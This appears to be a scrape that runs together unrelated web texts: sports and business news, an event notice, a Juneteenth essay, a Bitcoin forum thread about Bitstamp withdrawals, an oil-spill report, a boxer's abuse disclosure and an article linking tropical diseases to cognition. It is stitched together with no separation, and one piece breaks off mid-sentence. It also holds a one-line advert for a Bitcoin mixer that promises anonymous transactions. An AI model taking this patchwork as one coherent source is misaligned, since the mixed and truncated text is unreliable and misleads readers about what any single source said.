The NBA's replay center overturned the ruling on the floor because Dunleavy's feet were inside the restricted circle, but Love, an 87.3 percent free throw shooter this season, went just 1-for-2 from the line following the time spent on the review.
"It was good it got turned over, but missing that first free throw was tough for us because [Mike] Muscala hit that 3 in the corner, which gave them the one-point lead and that eventually kicked them over the top for the rest of the way," Love said. "So it was tough."
Irving was called for an offensive foul shortly thereafter, with Cleveland trailing 123-120 with 12.3 seconds remaining, for making contact with Millsap, who slid over to take a charge from the Cavs' guard.
"How much is the fine for talking about the refs?" Irving said when asked about that charge call. "It's like $50 [thousand], $25? Not worth it. Not worth it, so sorry. I had some good conversation with the refs -- just a few plays that didn't go our way. That's not the kind of the first step that led to the breakdown of what happened in that fourth quarter and why it extended the game. There were some things that could've gone a different way but didn't, and now we just got to move on from here."
Despite the loss, the Cavaliers said they are ready for the postseason.
"We'll be ready. Yup. We'll be ready when it get here," James said. "We still have some things to do with two games left, but yeah, we'll be ready."Does the next decade belong to suburbs?
The Office of the Mayor, in partnership with Spacing Magazine, invites you to join Mayor Linda Jeffrey at Lab B, in downtown Brampton, as she hosts a panel discussion with academic and industry experts in urban planning and design on the city building potential in suburbs, the 905, and Brampton.
Tickets are very limited, so reserve your spot fast!
Light snacks and refreshments will be served.
The evening will start with a reception at 6:30 pm and the panel conversation will begin at 7:15 pm and conclude at 8:30 pm.
Our Panelists:
Dr. Zhixi Zhuang is an Associate Professor at Ryerson University’s School of Urban and Regional Planning and a Registered Professional Planner practicing in Ontario, Canada. Her passion for city- and community-building has led to her extensive research on how ethnocultural diversity affects urban landscapes and municipal policies and planning. Her current research projects explore suburban ethnic place-making practices in the Greater Toronto Area and how municipalities could enhance the advantages of ethnocultural diversity for suburban retrofitting and inclusive community building.
Graham Haines brings experience working in the public, private and NGO sectors to the Ryerson City Building Institute. Prior to joining the team, he worked with the Pembina Institute, Arup, and most recently for the City of Regina as a Senior Policy Analyst in their Long-Range Planning Department. Over the course of his career, Graham has carried out research and authored reports on a wide range of urban issues including transportation economics, development charges, renewable energy policy, and climate change mitigation. He holds an M.Pl. in Urban Development and a B.ASc. in Engineering Science specializing in infrastructure engineering.
Yousaf Shah is a Consultant at Hemson Consulting Ltd. with a background in construction management and urban planning. Yousaf supports Hemson’s planning practice in demographic forecasting and planning advisory services. He has previously worked in planning policy with the City of Ottawa, development policy with the United Nations in Pakistan, and in commercial construction management in the United States.
Yousaf is a Registered Professional Planner and a LEED Accredited Professional. He has a Master of Urban Planning from McGill University, specializing in Transportation Planning, and a Bachelor of Science in Construction Management from Pratt Institute in New York City. He lived in seven countries before arriving in Canada and has decided to call Toronto home.Time Warner and Time Warner Cable became separate companies in 2009.
But someone on Capitol Hill is still seven years behind.
On Thursday the Senate Judiciary Committee's antitrust subcommittee announced a hearing into the AT&T-Time Warner deal and said "Robert Marcus, the CEO of Time Warner, will testify."
There are several problems with that. Number one: Jeff Bewkes, not Marcus, is the CEO of Time Warner.
Number two: Marcus was the CEO of Time Warner Cable.
Number three: Marcus left THAT company earlier this year. Charter acquired Time Warner Cable in May, and now the name Time Warner Cable is being retired.
Related: Hillary Clinton addresses AT&T-Time Warner merger
So Marcus won't have much to say if he's called before Congress.
However, the Senate committee quickly recognized the mistake and corrected the press release on Thursday afternoon. The actual invitations to speak went to the correct executives.
That means Bewkes and AT&T CEO Randall Stephenson will speak on Capitol Hill on December 7.
The Judiciary Committee is chaired by Senators Chuck Grassley, Republican from Iowa, and Patrick Leahy, Democrat from Vermont. The antitrust subcommittee is led by Senators Mike Lee, Republican from Utah, and Amy Klobuchar, Democrat from Minnesota.
A spokeswoman for the real Time Warner Cable declined to comment. So did a spokesman for the real Time Warner.
Related: Media titans weigh in on AT&T-Time Warner merger
But according to the Wall Street Journal, "senior executives at Time Warner were chuckling on Thursday as they read the antitrust committee release. For days, they have suspected that at least part of the backlash stemmed from politicians confusing Time Warner with Time Warner Cable."
AT&T actually went out of its way to dispel any confusion in a filing with the SEC on Monday.
"Time Warner Inc. should not be confused with Time Warner Cable, which is a distinct, independent company owned by Charter Communications," the filing said.
Congress isn't the only ones confused by the two. Several media outlets have used the wrong corporate logo when discussing Time Warner's role in the possible merger.
Time Warner spun off the cable company in 2009. But the similarities between the two names have caused lingering confusion ever since.
Related: AT&T-Time Warner merger is not AOL 2.0
Time Warner Cable, now adopting the Charter name, is a cable company, distributing TV packages and Internet services to millions of homes in big cities like New York and Los Angeles.
Time Warner, now the subject of a $85 billion acquisition by AT&T, is a content company, operating cable channels like CNN and HBO.
See, it's not too difficult, is it?As we reflect on Juneteenth, many of us will think of the ongoing black freedom struggle. We will analyze the role of black men as leaders throughout history and in the present day, in the home and in movements for justice and black liberation. We will discuss how these men of different backgrounds and the like came together to advance the causes of our community. However, we should also take the time to think critically about how black women are and are not included in this revolutionary blackness.
The intersectional struggle of black women has been explored by many writers, such as Angela Davis, Paula Giddings, bell hooks, Patricia Hill Collins, Chimamanda Ngozi Adichie, and Melissa Harris-Perry. They address the issues that black women face when aiding in the struggle for justice and equality for the race, while navigating a society that simultaneously oppresses women. Not only have black women dealt with white, heteronormative, patriarchal systems in America, but intracommunity prejudice as well.
The question is often raised: "Does race or gender come first?"
Put simply, race and gender cannot be separated for black women. Black women do not have the privilege of living their lives as solely black or solely women at any given point in time. They endure both struggles at once.
Today, these struggles take on familiar and new forms: colorism, sexism and homophobia.
Colorism
One may first think that blackness is physically inclusive with the resurgence of afros and other forms of natural hair, as well as the praise for the beauty of Lupita Nyong'o. Not only are African-Americans a physically diverse population, but the Africans from which we descended were as well. However, several studies and documentaries have been produced to address the issue of the black aesthetic for women. Good Hair, Dark Girls, and Light Girls all sparked discussions over the pervasiveness of these biases.
Recently, a thread of tweets was made praising lighter or racially ambiguous women and degrading darker-skinned women on Twitter, accompanied by a photo of women on a spectrum of skin tones. Tweets declared that those with light skin were on the end of the scale to have higher GPAs, be happily married and have fewer sexual partners, while those with dark skin were attributed the opposite. Those tweeting and laughing at these comments defended them as jokes, while they were opposed by black women of all shades as senseless self-hatred.
One's racial identity (and perceived racial identity) has always been linked to their experience in America. The issue of colorism has pervaded the black community for centuries, becoming sharply defined during slavery. While historically light skin has been associated with privilege, opportunity and European standards of beauty; dark skin has been with inferiority, poverty and ugliness.
It is up to the black community as a whole to reclaim the full beauty of black women, of all colors, hair types and sizes. It can no longer be a passive effort to affirm the diversity of black beauty. Further, we must end the notion that a woman must be perceived as beautiful to have value as a human being.
Sexism
We have examples throughout history of black women being at the forefront of movements for black liberation: Harriet Tubman, Sojourner Truth, Ida B. Wells, Constance Baker Motley, JoAnn Robinson, Ella Baker, Diane Nash, Gwendolyn Brooks, Angela Davis, Kathleen Cleaver, Elaine Brown. Yet for all the work these women did, they still found themselves relegated to positions without power in organizations such as the NAACP, SCLC, and Black Panther Party for Self-Defense.
The phrase "Black Lives Matter" was coined by three black women, Alicia Garza, Opal Tometi, and Patrisse Cullors, who then formed the national organization so many know today. While activists have worked tirelessly to recognize the lives lost to police violence, the hashtag "Say Her Name" had to be created due to the lack of support for black women who had been killed vs. black men. This has led many to discuss whether or not black women's lives matter less.
Black women have always been the vital other half of the movement for black liberation, but their experience has been marred by gender inequality. Due to the intersectionality of race and gender, women have often been left to continue the fight for the right to vote, equal pay, reproductive rights, and sexual assault and domestic violence awareness alone.
At times, it seems forgotten by many that black women are often on the front lines of these protests, and some of these same women are fighting for men who haven't fought and wouldn't fight for them. It is important to understand how we benefit from women being empowered, and how we gain justice for all by dismantling the social systems and cultural ills that plague them.
Homophobia
There are great talents and heroes throughout history who have been members of the lesbian, gay, bisexual, transgender, queer and intersex community. Oftentimes, this population is erased from history and demonized in the present, constantly fighting for their humanity to be affirmed. The arts have been particularly welcoming of the LGBTQI+ community, as we have seen with Bessie Smith, Josephine Baker, Nikki Giovanni, Audre Lorde, Janet Mock, Laverne Cox, and Samira Wiley.
While the legal right to marriage was granted across the United States in 2015, we have also seen more media attention towards the alarming rate of black trans women being murdered, as covered in Time, The Root, Vibe, and The Guardian. Melissa Harris-Perry previously hosted a special about the issue on her talk show. While trans women are meant to be included under the principle of Black Lives Matter, there have been separate protests to proclaim that "Black Trans Lives Matter" as well.
With the violence that black LGBTQI women face, especially in the midst of the Orlando Shooting and transgender restrooms debate, it is clear that these women need our protection. It is time for the black community to have open and honest conversations about how homophobia further divides us and weakens our cause. These women are still our sisters.
The most disrespected person in America is the black woman. The most unprotected person in America is the black woman. The most neglected person in America is the black woman. - Malcolm X, "Who Taught You to Hate Yourself?" (1962)Looking for news you can trust?
Subscribe to our free newsletters.
The Department of Homeland Security and the Office of the Director of National Intelligence released a joint statement on Friday that blames Russia for the recent hacks of the Democratic National Committee and other political organizations in an attempt to influence elections.
“The U.S. Intelligence Community (USIC) is confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations,” the statement says. “These thefts and disclosures are intended to interfere with the US election process…We believe, based on the scope and sensitivity of these efforts, that only Russia’s senior-most officials could have authorized these activities.”
Technical experts have long assumed that Russia was behind the attacks, based on forensic evidence that led back to hacking groups tied to Russian intelligence, and the Wall Street Journal recently reported that government officials suspected Russian involvement. But Friday’s statement is the first time that the government has officially placed blame for the hacks on Moscow.
Several states also recently saw attempts to breach their election records, but the government did not include those in the hacks it’s attributing to Russian agencies. “We are not now in a position to attribute this activity to the Russian Government,” DHS and ODNI say in the statement.Some weeks ago, we started creating the “Arcade Mode” of Ganbatte. The Arcade Mode is a game version of Ganbatte specially crafted to showcase the game at events. Our rationale for this mode can be read on Crossroads: Steam Early Access & Arcade Mode for events.
Going over the unique features of the Arcade Mode, having an event leaderboard was deemed very important. The event leaderboard is part of the spectator screen which will be used to enhance the experience of visitors.
Since Ganbatte is a social game played in first-person, very early in the development we realised that we wanted to provide tools to bring the social experience to those who aren’t actively playing. Therefore, we created a spectator mode where the game scene can be presented in a third-person view, which is more interesting to spectators. The idea is that players can stream the game or just show it on another display. So, for the Arcade Mode, we expanded upon the spectator screen to showcase Ganbatte in an event setting.
The spectator view flow is centered on two main things:
Game – the current game being played
Leaderboard – the event leaderboard.
During the game, we can switch between multiple cameras to show the match, and show the current scores for the stage.
When the game ends, there is a ceremony in which the results of the match are presented.
In this phase, we take a moment to see a close-up of every player, like a reaction camera.
Then, the results of the game are put in perspective with the global event leaderboard ranks.
In case there is a new leader, there’s a celebration screen! Afterwards, the event leaderboard is displayed until a new game starts.
Bonus: Building and organizing the in-game spectator view with Unreal Engine 4
Our strategy to create the spectator screen in Unreal Engine 4 is as follows.
Create a spectator pawn that inherits from the ASpectatorPawn class. Build a companion UMG widget that will hold the leaderboard information in the spectator view and add it to the viewport. Position the game window and the companion UMG widget on the viewport by performing a split screen on the function OnViewportUpdated.
OnVieportUpdated. Check Follow by updating the position and size of the companion UMG widget onCheck https://answers.unrealengine.com/questions/662582/slate-viewport-positioning-not-correct.html for inspiration.
Wrapping up
If you want to see our Arcade Mode in action and you’ll be in Portugal this November, drop by the Indie Dome at Lisboa Games Week!
Meanwhile, the Steam Store page of Ganbatte is live! You can now add Ganbatte to your wishlist, which if you do would mean a lot to us.
Thanks for reading!
-Daniela
PS – If you’re interested in knowing more about preparing a game to be showcased at an event, I selected some interesting material on the topic:
Like this: Like Loading...Canberra Raiders 'footy quake' to be measured by researchers
Updated
We know Canberra Raiders fans are passionate, but are they loud enough to cause a footy quake?
This weekend Australian National University (ANU) researchers will be testing that theory, by measuring just what effect the screams and rumbles of the footy faithful have on the earth.
To do it, they will be setting up a seismometer in the stadium during Sunday's game.
ANU Professor Malcolm Sambridge said the machine that normally measures earthquakes will be recording the vibrations from the howling Green Machine fans.
"What we are hoping is that when the Raiders score it will create enough seismic energy to record it as a 'footy quake'," he said.
"We would expect to see something like a very small earthquake occurring under the stadium, not enough to do any damage, of course. But one that our very sensitive instruments can measure."
Researchers said they were particularly interested in measuring the tremor during the famous, stadium-shaking Viking clap.
"The Viking clap is something we hope to pick up because when people all clap together it creates what we call an acoustic wave, which is a sound wave," Professor Sambridge said.
"That connects to the ground and essentially makes the ground roll as well, makes the ground move and we pick up the movements in the ground."
Similar experiments have been done around the world, but researchers said it would be the first time a Rugby League footy quake would be measured.
And for those in the stands, Professor Sambridge said there was no need to be concerned.
"It will probably be a negative magnitude, " he said.
"Simply because not enough energy goes into the ground to cause much shaking — which is a good thing, not a bad thing."
The ANU said the strength of the Canberra Raiders footy quake should be known in the next few days.
Topics: nrl, research, sport, science-and-technology, canberra-2600, act, australia
First postedYour Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins
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Courtmaster
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NewbieActivity: 37Merit: 0 Re: bitstamp btc withdrawal problem February 11, 2014, 04:35:12 PM #42 I m not a puppet....
But i am anxious because this is the first time my transaction not shown in blockchain, and of course, at the bitcoin destination address
DennisD7
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Full MemberActivity: 121Merit: 100 Re: bitstamp btc withdrawal problem February 11, 2014, 04:56:01 PM #45 Made a withdrawal this morning (UK time) and it seemed to work fine - at Bitstamp it's marked as "Finished" - but it never appeared in the wallet. I sent them a support ticket after a couple of hours, but no reply yet.
It's a 1 BTC transfer so I'm not sweating too much (just happy it wasn't 10 BTC, I made one of those last week).
It's probably going to be all right, but I wish they'd post a statement or something. Also, for a few hours I suspected I'd misspelled the wallet address somehow, and there is no way to verify on Bitstamp which address I used. Proud ASIC miner and long term Bitcoin investor
EuroTrash
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Hero MemberActivity: 728Merit: 500 Re: bitstamp btc withdrawal problem February 11, 2014, 04:58:58 PM #46 Quote from: kkaspar on February 11, 2014, 02:29:41 PM Stamp seems to have a problem with $ withdrawals as well.
On SEPA withdrawal it shows: Minimum withdrawal amount is $10. You have $0.00 available. while the balance is not $0.00.
It seems like they have halted all transactions. I hope that's just temporary to update their software.
The exchanges should hire someone to deal with public communication not just personal support staff. These flaws would cause a lot less trouble if they would publish the causes and solutions of those flaws more quickly.
The crypto scene is quite nervous at the moment and any delays in publishing necessary information creates trouble.
My SEPA withdrawal page definitely does not show $0 available. Do you still experience the issue? My SEPA withdrawal page definitely does not show $0 available. Do you still experience the issue? <=== INSERT SMART SIGNATURE HERE ===>
zyk
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Full MemberActivity: 224Merit: 100 Re: bitstamp btc withdrawal problem February 11, 2014, 05:37:44 PM #53
Who cares? the blockchain works flawless
BTC to da moon
so every exchange is exchanging dollars for coins you can´t withraw on request?Who cares? the blockchain works flawlessBTC to da moon
hazek
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LegendaryActivity: 1078Merit: 1001 Re: bitstamp btc withdrawal problem February 11, 2014, 05:51:16 PM #58 https://www.bitstamp.net/article/bitcoin-withdraws-suspended/
Quote Dear Bitstamp users
Bitstamps exchange software is extremely cautious concerning Bitcoin transactions. Currently it has suspended processing Bitcoin withdrawals due to inconsistent results reported by our bitcoind wallet, caused by a denial-of-service attack using transaction malleability to temporarily disrupt balance checking. As such, Bitcoin withdrawal processing will be suspended temporarily until a software fix is issued.
No funds have been lost and no funds are at risk.
This is a denial-of-service attack made possible by some misunderstandings in Bitcoin wallet implementations. These misunderstandings have simple solutions that are being implemented as we speak, and we're confident everything will be back to normal shortly.
Withdrawals which failed on the 10th and 11th of February will be canceled and the amounts added back to the customer account balances.
We will communicate any further developments regarding this issue.
Thank you for your understanding!
Best regards
Bitstamp team My personality type: INTJ - please forgive my weaknesses (Not naturally in tune with others feelings; may be insensitive at times, tend to respond to conflict with logic and reason, tend to believe I'm always right)
If however you enjoyed my post: 15j781DjuJeVsZgYbDVt2NZsGrWKRWFHpp
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LegendaryActivity: 1750Merit: 1007 Re: bitstamp btc withdrawal problem February 11, 2014, 05:52:54 PM #59 Quote from: hazek on February 11, 2014, 05:51:16 PM https://www.bitstamp.net/article/bitcoin-withdraws-suspended/
Quote Dear Bitstamp users
Bitstamps exchange software is extremely cautious concerning Bitcoin transactions. Currently it has suspended processing Bitcoin withdrawals due to inconsistent results reported by our bitcoind wallet, caused by a denial-of-service attack using transaction malleability to temporarily disrupt balance checking. As such, Bitcoin withdrawal processing will be suspended temporarily until a software fix is issued.
No funds have been lost and no funds are at risk.
This is a denial-of-service attack made possible by some misunderstandings in Bitcoin wallet implementations. These misunderstandings have simple solutions that are being implemented as we speak, and we're confident everything will be back to normal shortly.
Withdrawals which failed on the 10th and 11th of February will be canceled and the amounts added back to the customer account balances.
We will communicate any further developments regarding this issue.
Thank you for your understanding!
Best regards
Bitstamp team
so this transaciton malleability can easily be fixed then? so this transaciton malleability can easily be fixed then?A farmer discovered a huge oil spill — several times bigger than the recent Mayflower, Ark., spill — nearly two weeks ago in North Dakota. But because of federal government furloughs, we’re only just learning about it.
More than 20,000 barrels of fracked oil seeped from a ruptured pipeline over 7 acres of remote North Dakota wheat fields, oozing 10 feet into the clay soil and killing crops. Farmer Steven Jensen found the mess on his land on Sept. 29.
The National Response Center, which reports oil and chemical spills, posted an alert about the spill on its website this week. Reuters reports that the agency normally posts such reports within a day, but that its work has been stymied by the government shutdown.
But there’s really nothing to worry about, says Tesoro Logistics, the company responsible for the spill:
There have been no injuries or known impacts to water, wildlife or the surrounding environment as a result of this incident.
Jeez, it’s as if the pipeline spewed oxygen and candy.
Try telling that to Jensen, whose nose led him to a pool of oil while he was out harvesting on his 1,800-acre farm. “It was pretty ugly,” he told Reuters. The nearby crop had “disintegrated, you wouldn’t have known it was a wheat plant.” More from Reuters:
At an estimated 20,600 barrels, it ranks among the biggest U.S. spills in recent years. It is the biggest oil leak on U.S. land since March, when the rupture of an Exxon Mobil pipeline in Mayflower, Arkansas spilled 5,000 to 7,000 barrels of heavy Canadian crude. … This is the biggest oil spill in North Dakota since 1 million barrels of salt water brine, a by-product of oil production, leaked from a well site in 2006, according to the state Department of Health.
Emergency crews initially lit fire to the oil spill, burning an estimated 750 barrels in an effort to reach the leaking pipeline — despite homes being located a half mile away.
Tesoro says the burst pipeline has been shut down and it’s conducting an internal investigation to try to determine the cause of the accident. A state official’s description of a hole in the pipeline made it sound as though the spill was caused by corrosion. About 1,200 barrels of oil had been recovered by Thursday, meaning at least another 18,000 barrels are still out there in Jensen’s fields.Boxing great Sugar Ray Leonard has revealed that he was sexually abused by a prominent Olympic boxing coach.
The incident is divulged in the book The Big Fight: My Life In and Out of the Ring, to be released by Viking in June, according to the New York Times.
The abuse, Leonard says, took place several years after a 1971 incident in Utica, N.Y. when the coach had Leonard and another teenage fighter bathe in a tub of hot water and Epsom salts while the coach sat on the other side of the bathroom.
Leonard said the abuse several years later happened in a car in an empty parking lot across from a recreation center when the coach in his late 40s explained about how much a gold medal at the 1976 Olympics would mean to the fighter's future.
Leonard said he was flattered and filled with hope to hear that.
Before I knew it, he had unzipped my pants and put his hand, then mouth, on an area that has haunted me for life. I didn't scream. I didn't look at him. I just opened the door and ran, he said.
Leonard says when he initially wanted to reveal the incident to the point in which the coach stopped before there was contact.
That was painful enough, Leonard wrote. But last year, after watching the actor Todd Bridges bare his soul on Oprah's show about how he was sexually abused as a kid, I realized I would never be free unless I revealed the whole truth, no matter how much it hurt.
Leonard declined to comment and said through the publisher he would be promoting the book in June.A Pittsburgh man’s dying wish cuts no corners: please don’t vote for Donald Trump.
The U.S. presidential election isn’t until November, and Trump is yet to |
known as bilharzia or “snail fever.” Freshwater snails carry this parasitic disease, which afflicts at least 261 million people, mostly in sub-Saharan Africa but also in 77 other countries, including Brazil. Onchocerciasis, also known as river blindness, infects 30 million people in sub-Saharan Africa, causing skin nodules, debilitating itching, and blindness. The parasite is transmitted by the river-dwelling Simulium blackfly. Leishmaniasis and Chagas disease infect 10 million and 7.5 million people, respectively, in Mesoamerica. “Many of these diseases are stigmatizing and they produce mental anguish in this manner, too,” adds Hotez. Parasites carried by both dogs and cats can cause cognitive and intellectual deficits, as well as epilepsy, blindness, and impaired lung function, and are also implicated in schizophrenia.
Diarrhea is a common symptom of microbial and parasitic infection. Thornhill noted in a 2011 Institute of Medicine report that “if exposed to diarrhoeal diseases during their first five years, individuals may experience lifelong detrimental effects to their brain development, and thus intelligence. Parasites may [also] negatively affect cognitive function in other ways, such as infecting the brain directly.”
Tuberculosis was once the leading cause of death in the United States. Today, Nigeria has the fourth-highest tuberculosis rate in the world, with more than 400,000 cases per year. Moreover, it manifests as a different disease in the developing world than in the West. Although we commonly associate tuberculosis with the lungs, it can attack many sites in the body. When it invades the brain, causing tuberculosis meningitis, sufferers are left with severe brain damage. This outcome accounts for just one percent of cases in the West, but 14 times as many in Nigeria. TB-HIV synergy leaves one in every five of the country’s TB survivors severely brain damaged.
It’s Happening Here
Beginning in 2008, lurid headlines screamed about “The Worms That Invade Your Brain,” “Worm Removed From Woman’s Brain,” and “Hidden Epidemic: Tapeworms Living Inside People’s Brains.” Cysticercosis had hit the United States with a vengeance. MRIs of patients in emergency rooms with sudden epilepsy or fainting revealed that their brains were irregularly studded with tapeworms. That’s right, tapeworms. Although we think of them, when we must, as infesting the human digestive system, where well-nourished specimens can grow to 20 feet or more, these people suffered instead from a condition known as taeniasis. Each worm produces about 50,000 eggs, which are shed in the feces of infected people. Once on the ground and eaten by pigs, they grow into larvae that normally burrow into the porcine blood vessels, where they wait to be consumed by humans eating undercooked pork, and their life cycle begins again.
But sometimes the eggs take a fateful detour when accidentally ingested by another human, as when an infected person prepares food without washing his hands. Then, an egg develops into a larva that burrows into the human bloodstream and hitches a ride to the brain. Tunneling into the brain, the larvae become encysted, cloaking themselves from the immune system with specialized tissues. Thus ensconced and unmolested by the immune system, they unleash the horribly versatile disease called cysticercosis.
Cases are more common than one might think. Ted Nash, chief of the gastrointestinal parasites section at the National Institutes of Health, told Discover magazine in 2012, “Minimally, there are 5 million cases of epilepsy [worldwide] from neurocysticercosis.” From 1,500 to 2,000 neurocysticercosis cases have been diagnosed in the United States when confused, unconscious, or epileptic patients are brought to the hospital and the detection of antibodies definitively identifies the disease. Cysts near the brain’s visual cortex can blind the carrier. Cysts near the language area can disrupt speech or comprehension. Cysts sometimes block the flow of cerebral fluid, causing hydrocephalus, which necessitates a shunt to relieve the pressure and prevent unconsciousness and death. All too frequently, a tapeworm cyst causes epilepsy.
Treatment may not save the intellect because although the drug praziquantel kills the larvae, it also unleashes a vigorous immune response, “friendly fire” that ends up harming the brain. Most studies show that with many if not most such worm-borne pathogens, deworming arrests the cognitive decline but does not restore lost intellectual functioning.
Such disastrous cases are only the most dramatic manifestation of an epidemiological sea change: tropical diseases—and their neglect—are not limited to the tropics any more. They’re now very much at home in the United States. The Big Five diseases—Chagas disease, cysticercosis, toxocariasis, toxoplasmosis, and trichomoniasis—are quite common here among the poor, Hotez says. “While sub-Saharan Africa accounts for many of the world’s NTDs, somewhat paradoxically, most of the world’s NTDs can be found among the poor living in wealthier countries, including the ‘Group of 20’ nations. Houston and Texas … represent ‘ground zero’ for many of America’s neglected tropical diseases.”
In addition to life-threatening heart and respiratory devastation, this suite of communicable neuropsychiatric conditions saps the brainpower as well as the strength of poor people of color at home, just as it does abroad. Yet many doctors in the United States remain in denial. When the patient of a doctor at the Baylor College of Medicine received a letter saying that blood he had donated was being rejected because of a positive test for Chagas disease, the doctor exploded, “The test is wrong. That disease doesn’t exist in the United States!”
But it does, and this troubling scene is replayed across the country as American blood donors learn that they have a Third World disease. Tropical medicine experts agree that at least 330,000 U.S. citizens have Chagas disease, the most common parasitic disease in the Americas, and estimates range as high as one million. It infects six million to seven million more people in Latin America. This chronic, silent parasitic infection leads to fatal heart or intestinal damage in two of every five sufferers, and it also causes intellectual slowing. It can be treated, but the lack of awareness by doctors in the United States means that it often isn’t.
The insect vector for Chagas is an unwelcome immigrant—the triatomine or “kissing” bug, which lives in the cracks of substandard housing and passes on the parasite to people by defecating while sucking their blood. Chagas causes as many as one in 10 neurological problems in Mesoamerica. In the United States, it mainly affects poor Hispanic communities, but taken altogether, the infections that ravage the developing world now imperil the bodies and minds of at least 14 million U.S. residents.
Blame the Climate
Why are tropical diseases flourishing here? Xenophobes may indict immigrants who bring microbes north with them, but the real culprit is the U.S. climate. Many microbes function only within a narrow temperature range, and the life cycles of the parasites in question often require heat. This country obliges with temperatures that are considerably warmer than those in much of the affluent West, particularly those in northern Europe. “The U.S. is somewhat unusual in being a wealthy nation much of whose population lives in very warm, humid regions,” Stan Cox, a senior scientist at the Land Institute, told The Washington Post in July.
Climate change promises to accelerate the spread of tropical and subtropical diseases, because warming encourages the growth of parasite vectors such as mosquitoes, which will put another two billion people at risk of the mosquito-borne dengue fever virus by 2080. DDT spraying had all but banished dengue in the United States in the 1950s, but the pesticide was banned in the 1960s, and in 2003, dengue made a comeback in Houston. Higher temperatures encourage the snails that carry schistosomiasis and the sand flies that carry leishmaniasis to expand their territory. Meteorological events have also brought NTDs home. The insects that carry Chagas disease proliferated in Louisiana after Hurricane Katrina in 2005, and clouds of African dust borne on winds at an altitude of 15,000 feet constantly traverse the Atlantic to scatter bits of the Sahara Desert, and its microbes, over front yards and playgrounds in the Americas. In 2001, U.S. Geological Survey scientists determined that “hazardous bacteria and fungi hitchhike across the Atlantic on North African dust plumes.” Expect higher disease rates in the wake of these plumes.
The High Cost of Infection
Twenty million Americans are not just poor, but profoundly so: 1.65 million households live on less than $2 a day. The 20 million includes 3.55 million children who suffer lifelong disability from malnutrition and infections that reduce vigor and lifetime productivity and thus help perpetuate poverty.
What’s more, the poorest states are all in the warmest part of the country. This includes urban sites, where many infections thrive and gain virulence in the sort of overcrowded conditions commonly found in cities. The nation’s poorest major metropolitan area, McAllen-Edinburg-Mission, Texas, and the nation’s poorest smaller cities, all in the South, are marred by inadequate sanitation, environmental contaminants, and overcrowded substandard housing. They are also often home to ethnic enclaves of African Americans and other minorities. As Hotez points out, when dengue fever struck Houston, the poorest parts of the city were the most profoundly affected areas, but not one patient was accurately diagnosed, including the two people who died.
Our warm climate, poverty, and inequitable access to medical care make NTDs a problem largely confined to the United States among wealthy nations, one that targets pockets of poor African Americans, Hispanics, and immigrants. We’ve long known, for example, that HIV is largely a disease of poor people of color in the United States, just as it is in Africa. What’s less well known is the cognitive cost of HIV and other infections.
A July report in Pediatrics by University of Michigan scholar Nicole Hair analyzed MRI scans from poor young people ages four to 22 and determined that those living in poverty had test scores lower than their wealthier peers and developmental lags in their brain development. The MRIs found the volume of their brains’ gray matter measured eight to 10 percent below the developmental norm for their age.
“We used to think of poverty as a social policy issue in the U.S., but now it appears to be a biomedical issue,” says Seth Pollak, a developmental psychologist at the University of Wisconsin–Madison. Although NTDs tend to strike people of color, “These are diseases of poverty,” insists Hotez. “Why poverty promotes neglected parasitic infections is unknown, although factors such as poor housing and sanitation and environmental contamination are likely contributors, while so far the links to ethnicity appear to be mainly socioeconomic.”
This take on race, intelligence, illness, and poverty is the exact opposite of hereditarian screeds, from Arthur Jensen’s “Thirty Years of Research on Black-White Differences in Cognitive Ability” to Charles Murray and Richard J. Herrnstein’s The Bell Curve to J. Philippe Rushton’s musings on race, intelligence, and penis size. These broadsides and their refutation have dominated the public debate on race and intelligence. The authors’ theories rest on several articles of faith. One is that intelligence, measured by IQ tests, is largely genetic and varies in a racial hierarchy, with Asians or Caucasians usually occupying the apex and various African groups located at the bottom. They also believe that these racial differences are maintained because IQ is genetic and immutable, so racial gaps are persistent and an adult retains the same IQ throughout his life.
Satoshi Kanazawa of the London School of Economics has addressed the role of pathogens in intelligence via claims of reverse causality. Writing in the British Journal of Health Psychology, Kanazawa argued that the excess illness of people in the developing world is caused by lower intelligence, rather than the other way around. Among the flaws in his argument are dubious IQ scores and the assertion that IQ scores are immutable.
But James R. Flynn’s 2012 book, Are We Getting Smarter? Rising IQ in the Twenty-First Century, demonstrates that IQ measures not innate intelligence but rather specific acquired skills. Most notably, he found that IQ scores have risen about three points a decade in the United States and countries like it. The Flynn effect can’t be explained genetically, and the claim that genetics prevents low African IQs from rising is belied by a 14-point increase in Kenyan IQ tests between 1984 and 1998, a gain largely ascribed to improvements in health.
The illogical belief of hereditarians that intelligence is immutable invokes futility, which supports recommendations that we devote no resources to ameliorate the intelligence gap between the developed and the developing world, because nothing can be done. But our expanding understanding of the effects of disease on intelligence offers hope, and some evidence, such as the Flynn effect in Kenya, that the problem is solvable—that quelling disease can raise intelligence levels.
A powerful argument exists, then, for ending the erosion of intelligence by pathogen exposure, but how can we best do it? “Being smart is the most expensive thing we do,” biologist Christopher Eppig, then of the University of New Mexico, wrote in 2011, adding, “Not in terms of money, but in a currency that is vital to all living things: energy.” Shoring up intelligence is likely to be expensive in terms of money as well, however, because, Eppig told a journalist in 2012, “a social policy aimed at elevating IQ would want to focus on reducing the infection rates and durations of the infections that are most costly to the brain, which we predict include malaria, diarrheal diseases, tuberculosis, and intestinal worms.”
Treatment Strategies
Medications would play an important role, but the pipeline is drying up. A 2011 European College of Neuropsychopharmacology report warns that “research in new treatments for brain disorders [are] under threat” as corporate behemoths including Roche, Pfizer, AstraZeneca, and GlaxoSmithKline eliminate teams, cut funding, and shutter divisions dedicated to psychiatric drugs. Big Pharma has also largely abandoned the development of antibiotics, which have decreased in number over the past 20 years, though there seems to have been a small recent uptick. Pfizer, which once developed more antibiotics than anyone, closed its antibiotic research division in 2011. In February, The New York Times speculated that few of the 40 antibiotics currently in development were likely to emerge as FDA-approved drugs.
These are unfortunate developments, but prevention is often better than medication. “The most important thing, if you want to deal with mental disorders, is to prevent them from happening in the first place,” Alan S. Brown, a professor of psychiatry and epidemiology at Columbia University Medical Center, told Scientific American Mind in 2008.
The dwindling stores of medications are not the only reason why prevention is superior to drugs. Mental symptoms and diseases are among the side effects of many treatments. Doxycycline for malaria causes anxiety, depression, and hallucinations. Interferon for hepatitis C can cause or worsen depression, and HAART, drug regimens against AIDS, can cause paranoia, hallucinations, and catatonia, turning patients into mute, immobile “living statues.” And as we’ve seen, even safe, effective treatments yield limited results because infection-associated brain damage cannot always be reversed.
